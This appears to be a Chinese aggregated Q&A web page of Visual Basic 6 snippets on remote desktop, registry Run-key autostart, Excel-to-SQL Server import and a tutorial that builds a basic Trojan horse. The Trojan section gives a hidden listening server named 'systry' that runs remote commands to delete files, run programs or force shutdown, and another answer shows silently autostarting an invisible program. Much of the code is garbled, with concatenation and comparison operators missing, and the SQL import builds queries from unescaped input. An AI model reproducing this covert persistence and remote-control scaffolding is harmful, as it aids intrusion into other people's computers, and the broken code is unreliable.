vb远程开机代码（vb开机自启）

本篇文章给大家谈谈vb远程开机代码，以及vb开机自启对应的知识点，希望对各位有所帮助，不要忘了收藏本站喔。

本文目录一览：

• 1、用VB实现桌面远程连接
• 2、如何用VB编写一个开机自启动的命令
• 3、我用VB做了个程序，我想让它每次开机都悄悄自动运行，代码怎么写
• 4、Vb如何连接远程的sql server最好有实例代码，谢谢？
• 5、如何用VB6.0编辑一个远程控制软件

用VB实现桌面远程连接

在默认情况下 一台XP的机器同一时间只能有一个用户为活动用户，后一用户会将前一用户踢下来。所以 tyq1. tyq2 不可以同时进入 tyq3中。

远程桌面的程序名称为： mstsc.exe 你可以用VB调用这个程序。 同时 mstsc.exe 还支持默认参数， 你打开远程桌面 可以看到一个【选项】然后可以啊可能到用户名密码，你点击另存为，可以将此链接保存为文件。 然后直接点击这个文件可以实现自动登录。 也可以用vb的 shell方法去调用这个文件执行。

至于同时运行1.exe 要看具体需求。

如何用VB编写一个开机自启动的命令

Private

Declare

Function

RegCreateKey

Lib

"advapi32.dll"

Alias

"RegCreateKeyA"

(ByVal

hKey

As

Long,

ByVal

lpSubKey

As

String,

phkResult

As

Long)

As

Long

'这个函数用来建立或者打开注册表项

Private

Declare

Function

RegSetValueEx

Lib

"advapi32.dll"

Alias

"RegSetValueExA"

(ByVal

hKey

As

Long,

ByVal

lpValueName

As

String,

ByVal

Reserved

As

Long,

ByVal

dwType

As

Long,

lpData

As

Any,

ByVal

cbData

As

Long)

As

Long

'这个函数用来设定注册表项的值

Private

Declare

Function

RegDeleteValue

Lib

"advapi32.dll"

Alias

"RegDeleteValueA"

(ByVal

hKey

As

Long,

ByVal

lpValueName

As

String)

As

Long

'这个函数用来删除注册表项的值

Private

Declare

Function

RegCloseKey

Lib

"advapi32.dll"

(ByVal

hKey

As

Long)

As

Long

'这个函数用来关闭已经打开的注册表项

Private

Const

REG_SZ

=

1

'这个常数表示注册表项的值的类型为字符串

Private

Const

HKEY_CURRENT_USER

=

H80000001

'这个常数表示修改当前用户的注册表项

Private

Const

SubKey

As

String

=

"Software\Microsoft\Windows\CurrentVersion\Run"

'定义要编辑的注册表的子项

'接下来，我们写一个函数，来建立自动运行

Sub

RegAutoRun()

On

Error

Resume

Next

Dim

Exe

As

String

Dim

hKey

As

Long

Dim

rc

As

Long

If

Right(App.Path,

1)

"\"

Then

Exe

=

App.Path

"\"

App.EXEName

".exe"

Else

Exe

=

App.Path

App.EXEName

".exe"

End

If

rc

=

RegCreateKey(HKEY_CURRENT_USER,

SubKey,

hKey)

If

rc

=

Then

RegSetValueEx

hKey,

"AutoStart",

0,

REG_SZ,

ByVal

Exe,

LenB(StrConv(Exe,

vbFromUnicode))

+

1

RegCloseKey

hKey

End

If

End

Sub

'建立自动运行，自然要可以删除自动运行的功能

Sub

DelAutoRun()

On

Error

Resume

Next

Dim

hKey

As

Long

Dim

rc

As

Long

rc

=

RegCreateKey(HKEY_CURRENT_USER,

SubKey,

hKey)

If

rc

=

Then

RegDeleteValue

hKey,

"AutoStart"

RegCloseKey

hKey

End

If

End

Sub

我用VB做了个程序，我想让它每次开机都悄悄自动运行，代码怎么写

Private Sub Form_Load()

Dim objWSH As Object

Me.Visible = False '窗口设置为不可见

Set objWSH = CreateObject("WScript.Shell")

objWSH.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\" App.Title, App.Path "\" App.EXEName ".exe", "REG_SZ"

Set objWSH = Nothing

End Sub

'把上面的代码放到你的程序主窗口Form_Load过程中，程序一但运行一次后，下次开机就自动运行了。千万别用来做坏事哦~~~~~~~

Vb如何连接远程的sql server最好有实例代码，谢谢？

Private Sub Command1_Click()

' Dim excel_app As excel.Application

' Dim excel_sheet As excel.Sheets

Dim excel_app As Object

Dim excel_sheet As Object

Dim rs As ADODB.Recordset

Dim strsql As String

Dim pubconn As ADODB.Connection

Dim exfieldA As String

Dim exfieldB As String

Dim exfieldC As String

Dim exfieldD As String

'打开数据库

Set rs = New ADODB.Recordset

Set pubconn = New ADODB.Connection

pubconn = "Provider=SQLOLEDB.1;Persist Security Info=False;User ID=sa;Initial Catalog=aaa;Data Source=(local)"

pubconn.Open

Set excel_app = CreateObject("excel.application") 'excel对象

Set excel_app = New Excel.Application

' excel_app.Visible = True

excel_app.Workbooks.Open FileName:="D:\astroboy\河南生税务支持系统\实现\字典\111.xls"

' excel_app.Worksheets(Combo1.ListIndex + 1).Activate

If Val(excel_app.Application.Version) = 8 Then '检查excel文件的版本

Set excel_sheet = excel_app.ActiveSheet

Else

Set excel_sheet = excel_app

End If

'''创建sql表格

Dim crtstrsql As String

Dim exceltst As String

exceltst = Text1.Text

exfieldA = Trim$(excel_sheet.Cells(1, 1))

exfieldB = Trim$(excel_sheet.Cells(1, 2))

exfieldC = Trim$(excel_sheet.Cells(1, 3))

exfieldD = Trim$(excel_sheet.Cells(1, 4))

crtstrsql = ""

crtstrsql = crtstrsql "create table " exceltst "(" vbCrLf

crtstrsql = crtstrsql exfieldA " char(50) null," vbCrLf

crtstrsql = crtstrsql exfieldB " char(6) null," vbCrLf

crtstrsql = crtstrsql exfieldC " datetime null," vbCrLf

crtstrsql = crtstrsql exfieldD " datetime null)"

pubconn.Execute crtstrsql

Dim new_value1 As String

Dim new_value2 As String

Dim new_value3 As String

Row = 2

Do

new_value = Trim$(excel_sheet.Cells(Row, 1)) '读取excel工作者第一列数据

new_value1 = Trim$(excel_sheet.Cells(Row, 2))

If excel_sheet.Cells(Row, 3) = "" Then

new_value2 = ""

Else

new_value2 = CDate(excel_sheet.Cells(Row, 3) "1月")

End If

If excel_sheet.Cells(Row, 4) = "" Then

new_value3 = ""

Else

new_value3 = CDate(excel_sheet.Cells(Row, 4) "1月")

End If

If Len(new_value) = 0 And Len(new_value1) = 0 Then Exit Do

'将这一值插入SQL数据库

strsql = "insert into " exceltst "(" exfieldA "," exfieldB "," exfieldC "," exfieldD ") values('" new_value "','" new_value1 "','" new_value2 "','" new_value3 "')"

pubconn.Execute strsql

Row = Row + 1 '读取下一行数据

Loop

MsgBox "传输数据完成！", vbOKOnly, "完成！"

pubconn.Close

excel_app.Quit

Set rs = Nothing

Set pubconn = Nothing

Set excel_app = Nothing

Set excel_sheet = Nothing

End Sub

或参考以下

EXCEL文件要设置固定格式，还要设置命名范围，然后才可以导入

大致思路如下：

'// 设置打开 EXCEL 文件的连接字符串

strConn = "Provider=Microsoft.Jet.OLEDB.4.0;" _

"Data Source=excel文件名;Extended Properties=Excel 8.0"

'// 以记录集的形式打开 Excel 文件，adoConn 为 ADODB.Connection 对象

adoConn.Open strConn

'// 将数据插入到指定的表中（以ODBC的方式打开SQL数据库）

strSQL = "INSERT INTO [odbc;Driver={SQL Server};Server=服务器IP;Database=数据库;UID=用户名;PWD=密码].SQL中的表名 SELECT EXCEL中的字段 FROM EXCEL工作表名"

'// 执行导入语句

adoConn.Execute strSQL, , adExecuteNoRecords

如何用VB6.0编辑一个远程控制软件

　伊洛木马，名称源于古希腊的特伊洛马神话，是一种远程控制软件。现在网络上流行的木马软件基本都是客户机/服务器模式也就是所谓的C/S结构，目前也有一些开始向B/S结构转变，在这里暂且不对B/S结构进行详谈，本文主要介绍C/S结构其原理就是在本机直接启动运行的程序拥有与使用者相同的权限。因此如果能够启动服务器端（即被攻击的计算机）的服务器程序，就可以使用相应的客户端工具客户程序直接控制它了。下面来谈谈如何用VB来实现它。

首先使用VB建立两个程序，一个为客户端程序Client，一个为服务器端程序systry。

在Client工程中建立一个窗体，加载WinSock控件(VB自己就带有这个控件的

在工具箱中添加winsock进去就了)，称为tcpClient，协议选择TCP，再加入两个文本框，用以输入服务器的IP地址或服务器名，然后建立一个按钮，按下之后就可以对连接进行初始化了，代码如下：

Private Sub cmdConnect_Click()

　 If Len(Text1.Text) = 0 And Len(Text2.Text) = 0 Then

MsgBox ("请输入主机名或主机IP地址。")

Exit Sub

　 Else

If Len(Text1.Text) 0 Then

　 tcpClient.RemoteHost = Text1.Text

Else

　 tcpClient.RemoteHost = Text2.Text

End If

　 End If

　 tcpClient.Connect

　 Timer1.Enabled = True

End Sub

连接建立之后就可以使用DataArrival事件处理所收到的数据了。

在服务器端systry工程也建立一个窗体，加载WinSock控件，称为tcpServer，协议选择TCP，在Form_Load事件中加入如下代码：

Private Sub Form_Load()

　 tcpServer.LocalPort = 1999

　 tcpServer.Listen

End Sub

准备应答客户端程序的请求连接，使用ConnectionRequest事件来应答户端程序的请求，代码如下：

Private Sub tcpServer_ConnectionRequest

(ByVal requestID As Long)

　 If tcpServer.State sckClosed Then

tcpServer.Close‘检查控件的 State 属性是否为关闭的。

　 End If 　’如果不是，在接受新的连接之前先关闭此连接。

　 tcpServer.Accept requestID

End Sub

这样在客户端程序按下了连接按钮后，服务器端程序的ConnectionRequest事件被触发，执行了以上的代码。如果不出意外，连接就被建立起来了。

建立连接后服务器端的程序通过DataArrival事件接收客户机端程序所发的指令运行既定的程序。如：把服务器端的驱动器名、目录名、文件名等传到客户机端，客户机端接收后用TreeView控件以树状的形式显示出来，浏览服务器端文件目录；强制关闭或重启服务器端的计算机；屏蔽任务栏窗口；屏蔽开始菜单；按照客户机端传过来的文件名或目录名，而删除它；屏蔽热启动键；运行服务器端的任何程序；还包括获取目标计算机屏幕图象、窗口及进程列表；激活、终止远端进程；打开、关闭、移动远端窗口；控制目标计算机鼠标的移动与动作；交换远端鼠标的左右键；在目标计算机模拟键盘输入，下载、上装文件；提取、创建、修改目标计算机系统注册表关键字；在远端屏幕上显示消息。DataArrival事件程序如下：

Private Sub tcpServer_DataArrival

(ByVal bytesTotal As Long)

　 Dim strData As String

　 Dim i As Long

　 Dim mKey As String

　 tcpServer.GetData strData

　 ‘接收数据并存入strData

　 For i = 1 To Len(strData)

‘分离strData中的命令

If Mid(strData, i, 1) = "@" Then

　 mKey = Left(strData, i - 1)

　 ‘把命令ID号存入mKey

　 ‘把命令参数存入strData

　 strData = Right(strData, Len(strData) - i)

　 Exit For

End If

　 Next i

　 Select Case Val(mKey)

Case 1

‘驱动器名、目录名、文件名

Case 2

　 强制关闭服务器端的计算机

Case 3

　 强制重启服务器端的计算机

Case 4

　 屏蔽任务栏窗口；

Case 5

　 屏蔽开始菜单；

Case 6

　 按照客户机端传过来的文件名或目录名，而删除它；

Case 7

　 屏蔽热启动键；

Case 8

　 运行服务器端的任何程序

　 End Select

End Sub

客户机端用tcpClient.SendData发命令。命令包括命令ID和命令参数，它们用符号“@”隔开。

另外，当客户机端断开与服务器端的来接后，服务器端应用tcpServer_Close事件，来继续准备接收客户机端的请求，其代码如下：

Private Sub tcpServer_Close()

tcpServer.Close

tcpServer.Listen

End Sub

这就是一个最基本的特洛伊木马程序，只要你的机器运行了服务器端程序，那别人就可以在千里之外控制你的计算机。至于如何让服务器端程序运行就要发挥你的聪明才智了，在我的源程序中有一中方法，是修改系统注册表的方法。

成功的特洛伊木马程序要比这个复杂一些，还有程序的隐藏、自动复制、传播等问题要解决。警告：千万不要用BO程序破坏别人的系统。

关于vb远程开机代码和vb开机自启的介绍到此就结束了，不知道你从中找到你需要的信息了吗 ？如果你还想了解更多这方面的信息，记得收藏关注本站。